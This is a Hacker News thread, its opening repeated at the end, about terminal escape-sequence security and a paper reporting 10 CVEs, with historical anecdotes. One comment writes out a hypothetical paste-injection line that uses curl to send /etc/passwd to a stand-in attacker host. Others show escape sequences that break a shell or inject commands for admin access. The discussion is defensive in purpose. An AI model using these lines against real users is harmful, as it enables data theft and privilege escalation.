15 ms·

"<ESC>[31M"? ANSI Terminal security in 2023 and finding 10 CVEs

278 points by patrakov 3y ago

EvanAnderson 3y ago
Gives me feelings of nostalgia for the early 90s and "ANSI bombs".
- JdeBP 3y ago
  Which is why a 2003 paper being "the first write-up I can find of the potential issues with terminal security" doesn't sit well. Quite a lot of this stuff was written up decades ago. Just on Usenet and BBSes and documents that circulated on FidoNet, before the World Wide Web even existed.
andrewla 3y ago
Every time my terminal blows up because I wrote some binary data and I have to run `reset` or `stty sane` I'm amazed that we let things get to this point. Frankly I'm surprised that there are not significantly more vulnerabilities. Even things like the use of ESC, and the overloading of ESC for the actual ESC key, for a signal for keycodes, and for the ALT/META key are crazy. I've thought for a while that I should implement an extremely reduced set of escape sequences which use a non-ESC character (maybe SOH or something) for control sequences and key encoding. A minimal set -- color / cursor position / save-screen / query-size -- whatever it takes to make vim/emacs + tmux/screen work, and call it a day.
- candiddevmike 3y ago
  I don't know what magic combination it is but I keep hitting something on WSL2 and Windows Terminal that makes my session freeze into a blinking cursor. This results in me having to close the current tab and start a new terminal session completely. We're still inventing new ways of breaking arguably the most basic user interfaces.
  - _a_a_a_ 3y ago
    control-Q and control-S freeze/unfreeze the output stream (can't remember which is which). May be that?
    - candiddevmike 3y ago
      It doesn't seem to be that, I can't even reliability reproduce it. I originally thought it was something with the right control or right alt, but it's not consistent.
  - jstanley 3y ago
    I keep doing this in gnome-terminal, and for years I was confused about what was going on, I thought it was a bug, but I found out what it is! It turns out there is a "read-only" mode, with some keyboard shortcut that I was triggering by accident. You just have to right click in the terminal and uncheck "read-only" to get it back.
    - audidude 3y ago
      Dunno how long it's been since you used it, but I believe keybindings for this are disabled by default now and you have to toggle them on in your profile preferences.
  - orev 3y ago
    Probably CTRL-S, which is the software XOFF flow control. If so, CTRL-Q sends XON, which will un-hang the session and resume data flow.
    - sillysaurusx 3y ago
      Ah yes, CTRL-Q, the most intuitive keybind for resuming a frozen terminal after pressing CTRL-S, the least likely combination to accidentally be pressed while typing.
      - estebank 3y ago
- ElectricalUnion 3y ago
  In theory, `reset`/`tset` from ncurses, or an equivalent, is this "thing" that programs are supposed to be using when they need to engage in terminal shenanigans. Those use TERM/TERMCAP environment variables and some educated guessing reading stdin/stdout/stderr behaviour to figure out what terminal you're using, search for said entry in terminfo/termcap database, and finally invoking native terminal behavior or simulating it with other terminal behavior. In theory, one could "just implement" an alternative terminal, and put said simplified entries in terminfo/termcap database and things will be all fine. In practice several of those ANSI escape code behaviors are hard-coded and everyone pretends everything is "at least as capable as xterm" (a oxymoron, given that xterm is one of the most capable and feature-rich terminals around), so you're also gonna have to implement a converter from "xterm ANSI" to your alternative terminal system - sort of how winpty does convert Win32 terminals conventions to ANSI ones. Then we're back to the starting issue in this converter.
  - andrewla 3y ago
    Yes, this is one of the avenues that I've chased down a bit. One problem is termcap/terminfo itself. The definition has expanded greatly over time, and documentation is poor to non-existent. In many cases termcap/terminfo has been implicitly extended to support ncurses specifically. And like you say, everyone just sort of assumes ANSI/xterm -- nobody has `PS1="$(tput setaf 3)\w $(tput setaf 0) $", you just hard-code the codes. The last time I chased the rabbit down this hole I got mired in TTY-land and was not able to dig myself out. Too many insane layers, and before you know it you're writing code to emulate serial connections in a vain attempt to make things work without burning the whole world down. Both (n)vim and tmux have internal TTY emulation as well which makes things even crazier; I think vim uses libvterm and tmux has one internally hand-coded. It's a mess.
    - db48x 3y ago
      tmux, screen, emacs, and vim all have terminal emulators in them because it’s required, not because they’re crazy. Consider a really simple case. You are using screen (or tmux, or emacs, or whatever) and you have your terminal divided in half so that you can use a program in one half and tail a log file in the other. The program sends a ^L to clear the screen. Screen (or tmux or whatever) must read the ^L and then _not_ send it on. If it sent it on, the whole screen would be cleared, not just the half with the program in it. Instead it has to send whatever control sequences would erase the text from just the right portion of the screen while leaving everything else alone. Virtually everything sent by the program(s) has to be intercepted and reinterpreted in order for it to work right.
- IshKebab 3y ago
  Yes, the terminal is an embarrassment. It's telling that Sixel is state-of-the-art. A format from the 80s designed to support dot matrix printers.
  - dgl 3y ago
    Sixel isn't state of the art, see https://sw.kovidgoyal.net/kitty/graphics-protocol/ https://sw.kovidgoyal.net/kitty/graphics-protocol/
    - deleted 3y ago
      [deleted]
    - IshKebab 3y ago
      I'm aware of that, but it's supported by a total of 4 terminals.
- blueflow 3y ago
  > and the overloading of ESC for the actual ESC key What else was the ESC key made for if not the control code? > I've thought for a while that I should implement an extremely reduced set of escape sequences which use a non-ESC character (maybe SOH or something) for control sequences and key encoding. A minimal set -- color / cursor position / save-screen / query-size -- whatever it takes to make vim/emacs + tmux/screen work, and call it a day. I did that as a 8086 boot sector and it would render tmux with unicode characters stripped. You need surprisingly few sequences.
  - silon42 3y ago
    On a modern PC, Esc key is Esc key... whatever the application wants to use it for (99% time, cancel some UI operation). To me it's insane that one of the most used key command has a 1 second delay in the terminal. Or that typically Esc + some function/arrow key results in some junk.
    - blueflow 3y ago
      If you type in junk into the keyboard, junk is what you get on the screen. I see the fault with the developers that overload the keys for existing control characters with a different meaning. > whatever the application wants to use it for With the application being a terminal emulator, that is emitting an ESC character.
    - bityard 3y ago
      > one of the most used key command Found the vim user! The vast, _vast_ majority of Unix command-line or text-based programs do not use the Esc key because they were not written with a particular terminal or keyboard layout in mind. (Unlike vim.) But for whatever it's worth, I use vim every day and I notice no 1 second delay when switching modes with the Esc key, so perhaps this is something you can configure in your terminal.
      - mfontani 3y ago
        Ctrl + [ instead of Esc gets one back into normal mode, with no delay Takes a while getting used to it (I still haven't)
- bityard 3y ago
  Hmm, which terminal? I remember catting binary files to the terminal used to hose things up pretty good, but any decent terminal emulator seems to have made that not a thing in recent years. I just did `cat /bin/*` in Konsole and it left me with a perfectly good prompt.
- db48x 3y ago
  > Even things like the use of ESC, and the overloading of ESC for the actual ESC key, for a signal for keycodes, and for the ALT/META key are crazy. It actually happened the other way around. The escape character was originally only there as an escape character at the start of a control sequence. It was added to the keyboard back in the teletype era specifically so that the operator could control the behavior of the device on the other end. And it was labeled “Alt Mode”! See <https://upload.wikimedia.org/wikipedia/commons/2/23/TTY33ASR.jpg https://upload.wikimedia.org/wikipedia/commons/2/23/TTY33ASR...>, though it is a little blurry.
- jandrese 3y ago
  Terminal behavior dates back to a time when everybody was just making stuff up because there were no established standards or even conventions. What standards we have are mostly just whatever the most popular or longest lived company did. Terminals are in a bad place because there was a whole lot of effort put towards compatibility instead of standardization. The same curse that email suffers under. So the "standards" end up hopelessly complex and also terribly vague because they're trying to support every dumb thing every single company did at the same time. And the worst part is that most all of those companies would cease to exist in short order afterward, so the system is chock full of bug-accurate support for long dead systems that literally nobody uses anymore.
  - JdeBP 3y ago
    Well, yes and no. ECMA-48 is an established standard, and dates from 1976. The standards in use today have been around that long, long enough even that terminals that aren't ECMA-48 compatible are exceedingly rare nowadays. So it's really the reverse of what you state. There has been a lot of effort put into standardization, and compared to the 1960s we are highly uniform in the 21st century and widely adhere to an almost 50-year-old standard. It's not the long-dead systems that spoil this. As evidenced from the headlined article, it is the still active systems adding things like vendor-specific commands for setting titles and clipboards and colours and displaying images and whatnot that have introduced the complexity. A strictly ECMA-48 only emulator doesn't have even half of the problems mentioned in the headlined article, because the control sequences mentioned are extensions to the standard introduced by various GUI terminal emulator programs.
- ComputerGuru 3y ago
  If you use fish, that should never happen. (If it happens, we would consider it a bug.)
  - dgl 3y ago
    (Author here.) Unsure how fish can fully protect from this, as if you run "cat" in fish, then it isn't between you and the terminal anymore? Or do you mean fish should do a reset before displaying each prompt? If I run the printf commands from the "flash.c" example in fish I end up with a messed up terminal.
    - ComputerGuru 3y ago
      fish maintains its own tty state and pushes/pops it each time control is returned to fish or fish shells out to another process.
      - dgl 3y ago
        That's still only best effort, for example it will depend on the terminal but it doesn't reset things like xterm's control keys send escape sequences property, so: printf "\e]4;1;?\a\e[>4;2m" In xterm+fish will result in a messed up shell which you can't escape from (as ^C to clear the input doesn't work anymore).
        ComputerGuru 3y ago
        Correct, it only handles prevents the basic kind of borked that can be reset with `stty sane` or `stty reset`.
- 1vuio0pswjnm7 3y ago
  "Every time my terminal blows up because I wrote some binary data and I have to run `reset` or `stty sane` I'm amazed that we let things get to this point." Rather than reset or stty sane, I use something like one of the following, based on what software is available, e.g., there is no reset on NetBSD echo w1b63|ired -n /dev/stdout echo 1b63|xxd -p -r echo -e '27\n99\n'|nc-data -g printf \\33c
- JdeBP 3y ago
  > Every time my terminal blows up because I wrote some binary data and I have to run `reset` or `stty sane` I'm amazed that we let things get to this point. Every time that your terminal emulator does this in response to binary data, wonder why your terminal emulator hasn't taken the very sensible route that was taken by the authors of mosh years ago, to simply not support alternative GL and GR character set switching, treating it as something whose time has passed given that we live in a UTF-8-to-the-terminal world nowadays.
ElectricalUnion 3y ago
I hate inline escape sequences, but I hate ioctl/SetConsoleTextAttribute even more. I also think that if someone (including, of course, the bumbling fool known as myself) ran something on my terminal I'm already toast even before the terminal misbehaves - because most sandboxes/mandatory access control systems are either a complete joke or disabled most of the time.
- gsuuon 3y ago
  You don't even need to run something untrusted, just compromised console output is enough (from server logs, for example they mention python -m http.server)
  - ElectricalUnion 3y ago
    Yes, and it's "even better" that your average RCE because it's not running code on the potentially sandboxed server, but on the (statistically speaking not sandboxed) developer/admin machine with potentially privileged access to other machines and systems.
deleted 3y ago
[deleted]
ralferoo 3y ago
I remember being amused when I discovered that all the servers in our server room at uni had their terminals downgraded from adm-3e terminals to adm-3 ones (the one with dip-switches). This was because someone had discovered that you could use `write` to send a message to root if it'd been left logged in that contained the control codes to re-program a function key and then query the function key back. This had the unfortunate effect of allowing anyone to run arbitrary commands as root! The older consoles didn't support function keys, so couldn't be exploited this way.
- DonHopkins 3y ago
  I friend my mine wrote a "memoline" messaging system for the HP3000, and everybody used it with those "smart" HP terminals. I knew he had admin privs, and what the command to give me admin privs was, so I sent him a message that said something like: Hi, Frank! How much would I have to pay you to execute the command: % grant Don.Hopkins admin Followed by the HP escape sequences for [up][right][right][send rest of line as input][up]. So when he read the message, it entered the command and ran it with his admin privileges, granting me admin! Lesson: Don't print out raw escape sequences from untrusted messages! And don't design terminals with [send rest of line as input] commands.
DonHopkins 3y ago
I wrote a VT100 (+ Sun extensions) emulator in PostScript that had a magical "^_PostScript Code^]" escape sequence that let you download arbitrary PostScript code into the NeWS window server (which could do anything you want)! Also ^A would print out the stack, because why not? ;) https://donhopkins.com/home/code/term.ps.txt https://donhopkins.com/home/code/term.ps.txt It also supported the <ESC>#8 "fill screen with E" test sequence, just so it could pass VTTest, plus a few extra Sun and AAA sequences that my slave driving boss Hugh Daniel demanded (since he was from Ann Arbor). Yes, a company actually called "Wedge Computer, Inc." paid me to write it! There are also some subtleties about missing numeric arguments that VTTest checks. My SoftTTY emulator would detect syntax errors in escape sequences, which implied you were trying to test it with VTtest, so then it would change the cursor to the shape of a hand giving you the finger (shape-error-cursor), and flash it 20 times, to flip Hugh off for subjecting my terminal emulator to VTTest. https://en.wikipedia.org/wiki/Vttest https://en.wikipedia.org/wiki/Vttest /ps-string-prefix { /ps-string 256 string def /ps-string-len 0 def /termulate-char //termulate-ps-string def } def /termulate-ps-string { dup 27 eq { pop reset-termulator ps-string 0 ps-string-len getinterval cvx { exec } stopped pop } { ps-string ps-string-len 3 -1 roll put /ps-string-len ps-string-len 1 add def ps-string-len ps-string length eq { /ps-string ps-string-len dup add string ps-string 1 index copy pop def } if } ifelse } def I used it for writing a Lisp "Little Backwards Chainer" program that would download a tree of dirty knowledge base symbols into the server to define a corresponding tree of pop-up pie menus, so I could browse the Lisp data structures as pie menus to debug the program. https://donhopkins.com/home/archive/lisp/little-backwards-chainer.lisp https://donhopkins.com/home/archive/lisp/little-backwards-ch... ; Write dirty nodes to the NeWS server in PostScript, and mark them as ; clean. (defun sweep () (clean-tree '*KB*)) (defun clean-tree (node) (cond ((get node 'dirty) (send-node node) (putprop node nil 'dirty))) (cond ((null (node-alist node)) nil) (t (mapcar #'(lambda (link) (clean-tree (link-node link))) (node-alist node)) nil))) (defun send-node (node) (ps-make-node node (node-sexp node) (node-associated-atom node) (node-alist node))) ; Magic control characters the PostScript terminal emulator responds to. (setq StartPS "^_") ; Ctrl-_: begin trojan horse (setq EndPS "^]") ; Escape: end and execute trojan horse ; Write out a NeWS menu definition, with the right control characters to ; make the PostScript terminal program (SoftTTY) execute it. (defun ps-make-node (name sexp associated-atom alist) (msg "% Sending " name "...") (msg StartPS "userdict /" name " [" N) (msg " " (list 'Name= name) " {" (ncons name) " print}" N " " (list 'Sexp= sexp) " {" (ncons sexp) " print}" N " " (list 'Atom= (fact-name associated-atom)) " {" (ncons (fact-name associated-atom)) " print}" N) (mapcar #'(lambda (link) (msg " " link " /" (link-node link) " cvx" N)) alist) (msg "] /new DefaultMenu send put" N) (msg name " /Clockwise false put" N) (cond ((eq name '*KB*) (msg "/ClientMenu *KB* def" N))) ; kludge (msg EndPS N)) Hugh was the author of ColorToy and ColorTool, which lets you play with and change all the user interface colors (even to dynamic random procedural colors that changed every time it paints, which was the most fun, and useful for debugging drawing, incremental screen updating, and clipping bugs!) https://donhopkins.com/home/archive/NeWS/news-tape/utilities/colortool/colortool https://donhopkins.com/home/archive/NeWS/news-tape/utilities...
jacquesm 3y ago
Every single time you use inband signalling you will introduce security issues, compatibility issues and various other nasty bits. This is because you are now multiplexing two levels of 'privilege' on the same channel, and I'm not aware of any way in which you could do this with perfect security. The phone system of old suffered from this (which is why Phreaking was a thing in the first place), various radio based signalling systems had it, HTML has it and terminal streams have them too. It's unavoidable, so you may as well assume that these issues are there if you decide to use a protocol that doesn't cleanly separate data and control.
- westurner 3y ago
  nbformat .ipynb notebooks are JSON documents with distinctions between input and output cells, and with output MIME types. https://nbformat.readthedocs.io/en/latest/format_description.html#cell-types https://nbformat.readthedocs.io/en/latest/format_description... Jupyter-book docs > Code outputs > ANSI outputs: https://jupyterbook.org/en/stable/content/code-outputs.html#ansi-outputs https://jupyterbook.org/en/stable/content/code-outputs.html#... `less -R` is not the default. FWIW, textual (and urwid) does ANSII escape codes well: https://github.com/Textualize/textual https://github.com/Textualize/textual touch file$'\n'name find . -print0 | xargs -0
- echoangle 3y ago
  Isn’t it pretty easy to use inband signaling securely? For example you can have the „outer“ more privileged channel always add a prefix with the length of the following „inner“ message which can then be ignored/not parsed by the receiver. Or am I missing what you mean?
  - chc4 3y ago
    That isn't in-band signaling, that's encapsulating one protocol in another.
    - nine_k 3y ago
      Then it is in-band signaling. Out-of-band signaling is using a different channel entirely, like a different pair of wires, or otherwise a different interface.
caeruleus 3y ago
Opening this site actually crashes my Yabai status bar widget on MacOS. What an unexpected and nice troll. Lol. It contains the raw byte of 0x1b (ESC) in the title (before [31m), which colors the following text red in the context of a terminal. The browser title is reported to Übersicht, which apparently fails to serialize it to proper JSON and thus crashes simple-bar with a JSON decode error, removing the overview of my spaces. Everything is back to normal once I change my browser tab.
- ShinzonRemus 3y ago
  It also crashes dwm (when using Firefox) :-(
  - caeruleus 3y ago
    Yup, Firefox for me as well. Chromium-based browsers seem to sanitize the title. I'm frankly a bit surprised that at least Linux and MacOS allow control characters in window titles and wonder if there is any reason to do so. Imagine someone pwning your OS via an HTML tag.
  - dogben 3y ago
    My Firefox+dwm combo works. The 0x1b on my status bar is shown as a Treble clef. Maybe it's a font thing?
- dgl 3y ago
  Glad to have helped.
mortallywounded 3y ago
I am waiting for a Vim exploit in a similar way.. I map insert mode jj and kk to escape to leave insert mode. Sometimes I paste text in insert mode and it's interpreted literally in Vim, so I am waiting for some exploit like modifying a clipboard to be like: > regular-text-is-herejj:! curl -F 'pw=@/etc/passwd' attacker.dev/upload.php
- bqmjjx0kac 3y ago
  I wonder if `:set paste` would mitigate this attack. This page would probably answer my question if I understood it: https://vimdoc.sourceforge.net/htmldoc/options.html#'paste' https://vimdoc.sourceforge.net/htmldoc/options.html#'paste' Edit: this does seem to imply that `jj` in insert mode would be disabled by enabling paste. > mapping in Insert mode and Command-line mode is disabled
  - mortallywounded 3y ago
    I have a binding to toggle paste mode. It would prevent the attack, but it also disabled jj/kk insert mode bindings... I do try to use the toggle before pasting, but I'm human and often forget.
    - db48x 3y ago
      Bracketed paste mode!!!1! Seriously, it’s the only safe way to paste into a terminal. When you initiate a paste your terminal emulator sends a control sequence that tells the program that a paste is happening so that it won’t interpret any of it as anything but text to be inserted. It’s completely automatic. And your terminal emulator supports it! So does vim! It’s only be available in xterm for 21 or so years, so I guess it’s not _that_ surprising to find that people still don’t know about it.
      - dgl 3y ago
        (Author of the original paper here.) Bracketed paste mode is good and ideally it just works(tm) and therefore people don't need to know about it. It does just work in recent versions bash (readline) and Zsh. Unfortunately there is still poor handling of it in some terminals. I posted[1] yesterday on oss-security that ^C for example can be placed on the clipboard and may end bracketed paste mode in some circumstances. For xterm that can be mitigated by adding "ETX" to disallowedPasteControls[2]: disallowedPasteControls: BS,DEL,ENQ,EOT,ETX,ESC,NUL That still isn't enough (e.g. ^\ or ^Z can be used too in some contexts). Other terminals are looking at this currently (e.g. kitty[3]). I suspect there will be some other patches coming out. [1]: https://www.openwall.com/lists/oss-security/2023/10/20/2 https://www.openwall.com/lists/oss-security/2023/10/20/2 [2]: https://www.openwall.com/lists/oss-security/2023/10/20/4 https://www.openwall.com/lists/oss-security/2023/10/20/4 [3]: https://github.com/kovidgoyal/kitty/commit/defa2e29ac1eacd130fcffa300d9be8f6e76ddfc https://github.com/kovidgoyal/kitty/commit/defa2e29ac1eacd13...
DonHopkins 3y ago
NeWS had a terminal emulator "psterm" by David S H Rosenthal that could emulate any termcap entry: instead of emulating a particular set of escape sequences, it just parsed the termcap file and configured itself to emulate any termcap entry you wanted! https://donhopkins.com/home/archive/NeWS/news-tape/applications/psterm/tcap_parse.c https://donhopkins.com/home/archive/NeWS/news-tape/applicati... https://donhopkins.com/home/archive/NeWS/news-tape/applications/psterm/tcap_ops.c https://donhopkins.com/home/archive/NeWS/news-tape/applicati...
- db48x 3y ago
  Thanks, I hate it. Really, that has to be the most perverse, backwards thing I have ever heard of.
  - DonHopkins 3y ago
    If that's the most perverse, backwards thing you have ever heard of, you should really get out more and read more code, because there's much worse stuff in production that you unwittingly using every day. Have you ever tried reading the source code of your X11 window manager, or the screen updating code in Gosling Emacs? (Not to single out the authors of NeWS: David Rosenthal, who also wrote the ICCCM, or James Gosling, who also wrote Java). https://donhopkins.medium.com/the-x-windows-disaster-128d398ebd47 https://donhopkins.medium.com/the-x-windows-disaster-128d398... >In summary, ICCCM is a technological disaster: a toxic waste dump of broken protocols, backward compatibility nightmares, complex nonsolutions to obsolete nonproblems, a twisted mass of scabs and scar tissue intended to cover up the moral and intellectual depravity of the industry’s standard naked emperor. https://news.ycombinator.com/item?id=22849522 https://news.ycombinator.com/item?id=22849522 >James Gosling's Emacs screen redisplay algorithm also used similar "dynamic programming techniques" to compute the minimal cost path through a cost matrix of string edit operations (the costs depended i.e. on the number of characters to draw, length of the escape codes to insert/delete lines/characters, padding for slow terminals, etc). https://donhopkins.com/home/archive/emacs/skull-and-crossbones.txt https://donhopkins.com/home/archive/emacs/skull-and-crossbon... /********************************************************\ * * * Ultra-hot screen management package * * * \********************************************************/ /***********************************************************-***** /-------------\ / \ / \ / \ | XXXX XXXX | | XXXX XXXX | | XXX XXX | \ X / --\ XXX /-- | | XXX | | | | | | | I I I I I I I | | I I I I I I | \ / -- -- \-------/ XXX XXX XXXXX XXXXX XXXXXXXXX XXXXXXXXXX XXXXX XXXXX XXXXXXX XXXXX XXXXX XXXXXXXXX XXXXXXXXXX XXXXX XXXXX XXX XXX ************** * BEWARE!! * ************** All ye who enter here: Most of the code in this module is twisted beyond belief! Tread carefully. If you think you understand it, You Don't, So Look Again. ****************************************************************/
hackernudes 3y ago
Related to mosh (mentioned in the article), something has been bouncing around my head a lot. Why don't terminal emulators already work the way mosh does, decoupling the terminal part and the rendering part? I assume it is possible to ingest a stream of terminal data much faster than rendering it (obviously keeping track of what is needed to render). Then the render loop can happen independently at a certain framerate, like a game engine. It is quite frustrating when a verbose 'cat' or 'find' slows my terminal emulator to a crawl drawing each line. (edit: it just occurred to me that maybe this would break scroll-back in the terminal emulator... hmm)
- themk 3y ago
  Many terminal emulators do do this.
- dgl 3y ago
  Some terminals can do tricks like this, some terminal authors care about performance, e.g. https://codeberg.org/dnkl/foot/src/branch/master/doc/benchmark.md https://codeberg.org/dnkl/foot/src/branch/master/doc/benchma... In general you're better off using a terminal that performs better, because extra buffering would be annoying the other way around in the usual throughput/latency tradeoff (you'd press ^C and then it would continue to display what's in its buffer to you, rather than reacting quickly). What mosh brings is decoupling the rendering across the network. A lot of the poor perceived performance over high-latency links happens because ssh puts your terminal into raw mode, so even if the line is being echoed back, that is going all the way to the remote system and back again. It's actually possible to fix line editing in ssh, without using something like mosh, see for example https://github.com/hyc/OpenSSH-LINEMODE https://github.com/hyc/OpenSSH-LINEMODE. It's a shame OpenSSH hasn't merged something like those (now quite old) patches.
gdavisson 3y ago
I (vaguely) remember playing games with terminal echoback on physical terminals back in the early-mid 1980s when I was in college. This was on a VAX/VMS system. Someone (I don't remember who did what here) discovered that they could get `SHOW SYSTEM` (roughly analogous to unix `ps` command) to display their name in reverse video by adding escape sequences to their process name. So a bunch of us started experimenting to see what else we could embed in there. Most of the terminals attached to the VAX were Zenith Z-19s, which mostly emulated DEC VT-52s but with some added features. One of those added features was an enablable 25th line (in addition to the regular 24x80 display) that functioned as a sort of status line. We found we could enable that, write something into it, then use the "transmit 25th line" escape sequence to send its contents back to the VAX. I remember having to work around limitations like it sending an escape sequence before the 25th line (which confused VMS), and I think it didn't send a carriage return at the end... or something like that. I don't think we ever got it to do anything terribly interesting, but it was fun to play with. And then IIRC a VMS update blocked control characters in the `SHOW SYSTEM` listing.
sargstuff 3y ago
Old school reasoning why memory 0 page for a process is by default read only? Python provided a more modern variation on the ansi escape sequence issues theme with multi-mapping UTF to single point ascii[0]. cue "more things change, more they stay the same" meme [0] : http://godatadriven.com/blog/handling-encoding-issues-with-unicode-normalisation-in-python/ http://godatadriven.com/blog/handling-encoding-issues-with-u...
wslh 3y ago
Great, but please include other vulnerabilities, including exploits, like mine in 1999 [1]: In the xterm there is a feature to change the title of the window. You can change the title of the window sending one of the escape codes of the xterm. (linux: man console_codes) By Example: ESC]2;This is my Xterm^G This escape code changes the xterm's title to "This is my Xterm" Obviously You can do the same using the kvt (Kde Virtual Terminal). But the kvt has a buffer overflow. If the size of the new title of the window is big enough then the kvt will do a core dump. This bug follows the "reverse exploit" line, if some program sends this escape code to the kvt. For Example, When someone connects to any ftp server and the server sends the Welcome Message, It will be easy to exploit this bug changing the Welcome Message (in the .message file) to one with this escape code and to cause a buffer overflow. Another example where someone can cause a buffer overflow in your machine is simply doing "cat hosts" where hosts may be a file that you received by mail containing the "change window escape code". This bug shows some of the kvt's security problems being exploited via a "reverse exploit" or a exploit sent directly to your terminal (if the attacker can write to your kvt) If this bug is exploited, then the attacker can obtain the privileges of the kvt's owner and execute some arbitrary code as this user. [I found after] This bug was reported to the kde team by Larry Granroth in January. (http://bugs.kde.org/db/33/332.html) The new kde's version doesn't have this bug in the kconsole Kvt was replaced totally by kconsole. But the RedHat 6.0 installed with KDE has this bug. [1] https://seclists.org/bugtraq/1999/Sep/432 https://seclists.org/bugtraq/1999/Sep/432 It it weird that I couldn't find it in Google but Bing with a simple query. Is Google Search Engine SaaS abandonware?
- sargstuff 3y ago
  Disable, filter out ansi escape sequence(s)?
  - junon 3y ago
    I maintain `ansi-regex` on npm. Believe me when I say doing this with any amount of certainty is almost impossible.
butlerm 3y ago
Someone really ought to design a new text terminal protocol with a strict binary separation between data and control information and eliminate the regrettable scourge of escape sequences forever. Then using a command like "cat" to output a binary data to the screen would cause no unfortunate side effects under any conditions, a program would have to use a different interface to control the terminal, even to move the cursor from one place to another or to clear the screen. A proper terminal should not even process backspace characters unless they arrive via a control channel rather than the data channel, let alone process all sorts of other more dangerous control sequences.
- JdeBP 3y ago
  That was invented in 1986. It was called the VIO subsystem of OS/2, and was followed by the console paradigm of Windows NT.
  - butlerm 3y ago
    Is there a network protocol that goes along with that? Something suitable for a text terminal? Not just a proprietary and more than likely underdocumented API?
audidude 3y ago
> VTE based terminals, Kitty and WezTerm are some of the few terminals that accept C1 controls by default, within UTF-8 encoded data. My recommendation would be to not use these terminals with untrusted data. It seems the author didn't look at the code because in VTE, bytes enter UTF-8 decoder first and therefore the parser is already dealing with 32-bit unichars.
- dgl 3y ago
  (Author here.) I agree the only correct way C1 controls can work is encoded within UTF-8 data, else nothing works. The context is escaping C0 control characters is simple, you look for a single byte and filter it as you need. C1 controls when not encoded as UTF-8 are also single byte characters and therefore easy to filter out. For multi-byte encodings, you need to correctly decode the encoding, then filter, this has synchronisation problems and is tricky[1] (particularly as a Unix byte stream doesn't tell you it's encoding, although you can assume if someone is trying to display it as text it is probably UTF-8 these days). I should probably expand on that recommendation more, there's a lot in the paper, but the crux of the issue is C1 controls are a legacy thing and serve no useful purpose anymore and as I've shown there are enough issues just dealing with C0 controls. If C1 controls are encoded as UTF-8 as is the only way they can work on a modern system, then they take up as many bytes as C0 controls (e.g. CSI is "\e[" or U+009B, which encoded as UTF-8 is 0xC2 0x9B) so they don't even save bytes on the wire. [1]: see https://www.openwall.com/lists/oss-security/2015/09/20/1 https://www.openwall.com/lists/oss-security/2015/09/20/1 and some replies to that.
spandextwins 3y ago
I use a pt200 or adm3a terminal, never ansi or vt100
dgl 3y ago
(Author here.) If there's any takeaway from this, while the worst part is the terminal bugs; I'd like people to be aware that any tool dealing with text (command lines, potentially even websites) should consider sanitizing control characters for defense in depth. I am amused that for example https://www.osnews.com/story/137552/31m-ansi-terminal-security-in-2023-and-finding-10-cves/ https://www.osnews.com/story/137552/31m-ansi-terminal-securi... has posted my article with the escape character in the title intact. This means that running: curl https://www.osnews.com/story/137552/31m-ansi-terminal-security-in-2023-and-finding-10-cves/ ...will turn your screen red because of the embedded "[31m". Obviously this is just harmless fun (would have been more fun to get iTerm2's "]1337;RequestAttention=fireworks", like my curl ip.wtf/moo does, but I couldn't really stick that in the title innocently), but an attacker might be able to find a way to social engineer someone into running "curl" or similar on what looks like a trustworthy site. edit: Hacker News also doesn't sanitize escape characters, so this very comment will turn your screen red: curl 'https://news.ycombinator.com/item?id=37963815'
- mongol 3y ago
  I don't think we should expect websites to sanitize escape characters. But tools such as curl perhaps should have (or already has?) some option to do it.
  - Wicher 3y ago
    Or extension of the POSIX terminal control flags could result in gaining a mode, which the curls and tars of this world would use, to express to a terminal "ignore any terminal control code I write out; I don't actually mean it". But this would require coordination in POSIX, in the terminals, and in programs using the terminal :-/ But the advantage would be that then you'd be able to put your terminal into this safe mode by default. And the terminal can alert you when a program is writing out control codes that are being ignored, and then you can whitelist them and/or get those programs fixed to fence off their sections of "I'm going to output data from god-knows-where now" with this new terminal mode. It's not going to happen but we can dream ;-)
- Wicher 3y ago
thunkalot 3y ago
Emacs's shell and eshell mode have the right idea: no terminal. Terminal emulators are a relic. Shells should back on to simpler modern toolkits, that separates UI from shell I/O. I'm aware of the irony of an Emacs user calling for the disuse of relic tools. :)
zzo38computer 3y ago
It is something that I had considered too. (For this reason, some of my shell scripts that involve curl (for sprunge and for icanhazip) have "| cat -v".) Ideally there should be some way to cancel responses (echoback), which would avoid some of the problems; I am not sure if this can be done. Another thing I had considered is to make a "universal escape sequence" which is recognized anywhere including in the middle of something else. There are other considerations, too. (I had considered writing a terminal emulator, and will have to consider this and other things.) (I had also considered operating system design, where the command-line interface would work differently than this anyways.)

278 points by patrakov 3y ago

EvanAnderson 3y ago

Gives me feelings of nostalgia for the early 90s and "ANSI bombs".

JdeBP 3y ago
Which is why a 2003 paper being "the first write-up I can find of the potential issues with terminal security" doesn't sit well. Quite a lot of this stuff was written up decades ago. Just on Usenet and BBSes and documents that circulated on FidoNet, before the World Wide Web even existed.

andrewla 3y ago

Every time my terminal blows up because I wrote some binary data and I have to run `reset` or `stty sane` I'm amazed that we let things get to this point. Frankly I'm surprised that there are not significantly more vulnerabilities. Even things like the use of ESC, and the overloading of ESC for the actual ESC key, for a signal for keycodes, and for the ALT/META key are crazy. I've thought for a while that I should implement an extremely reduced set of escape sequences which use a non-ESC character (maybe SOH or something) for control sequences and key encoding. A minimal set -- color / cursor position / save-screen / query-size -- whatever it takes to make vim/emacs + tmux/screen work, and call it a day.

candiddevmike 3y ago
I don't know what magic combination it is but I keep hitting something on WSL2 and Windows Terminal that makes my session freeze into a blinking cursor. This results in me having to close the current tab and start a new terminal session completely. We're still inventing new ways of breaking arguably the most basic user interfaces.
- _a_a_a_ 3y ago
  control-Q and control-S freeze/unfreeze the output stream (can't remember which is which). May be that?
  - candiddevmike 3y ago
    It doesn't seem to be that, I can't even reliability reproduce it. I originally thought it was something with the right control or right alt, but it's not consistent.
- jstanley 3y ago
  I keep doing this in gnome-terminal, and for years I was confused about what was going on, I thought it was a bug, but I found out what it is! It turns out there is a "read-only" mode, with some keyboard shortcut that I was triggering by accident. You just have to right click in the terminal and uncheck "read-only" to get it back.
  - audidude 3y ago
    Dunno how long it's been since you used it, but I believe keybindings for this are disabled by default now and you have to toggle them on in your profile preferences.
- orev 3y ago
  Probably CTRL-S, which is the software XOFF flow control. If so, CTRL-Q sends XON, which will un-hang the session and resume data flow.
  - sillysaurusx 3y ago
    Ah yes, CTRL-Q, the most intuitive keybind for resuming a frozen terminal after pressing CTRL-S, the least likely combination to accidentally be pressed while typing.
    - estebank 3y ago
ElectricalUnion 3y ago
